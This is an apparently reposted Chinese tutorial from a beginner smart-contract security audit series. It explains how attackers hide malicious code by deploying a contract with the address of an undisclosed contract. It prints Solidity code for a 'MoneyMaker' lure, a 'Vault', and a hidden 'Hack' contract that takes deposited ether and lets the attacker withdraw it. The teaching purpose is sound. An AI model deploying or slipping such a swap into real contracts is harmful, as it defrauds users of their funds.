复制成功

分享至

主页 > 数字货币 >

智能合约安全审计入门篇 —— 移花接木

2023.05.12

概述

上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点欺骗受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:

智能合约安全审计入门篇 —— 移花接木

用户以为的调用路径:

部署合约 A 传入合约 B 地址,这样调用路径为正常路径。

实际的调用路径:

部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个骗局:

恶意代码

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker {    Vault vault;
   constructor(address _vault) {        vault = Vault(payable(_vault));    }
   function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");
       uint256 amount = msg.value * 2;
       (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");
       vault.transfer(recipient, amount);    }}
contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;
   constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }
   modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }
   modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }
   function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }
   function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");
       (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }
   function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}
// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;
   constructor(address _evil) {        evil = _evil;    }
   modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }
   function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }
   function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}

免责声明:数字资产交易涉及重大风险,本资料不应作为投资决策依据,亦不应被解释为从事投资交易的建议。请确保充分了解所涉及的风险并谨慎投资。OKEx学院仅提供信息参考,不构成任何投资建议,用户一切投资行为与本站无关。

加⼊OKEx全球社群

和全球数字资产投资者交流讨论

扫码加入OKEx社群

相关推荐

industry-frontier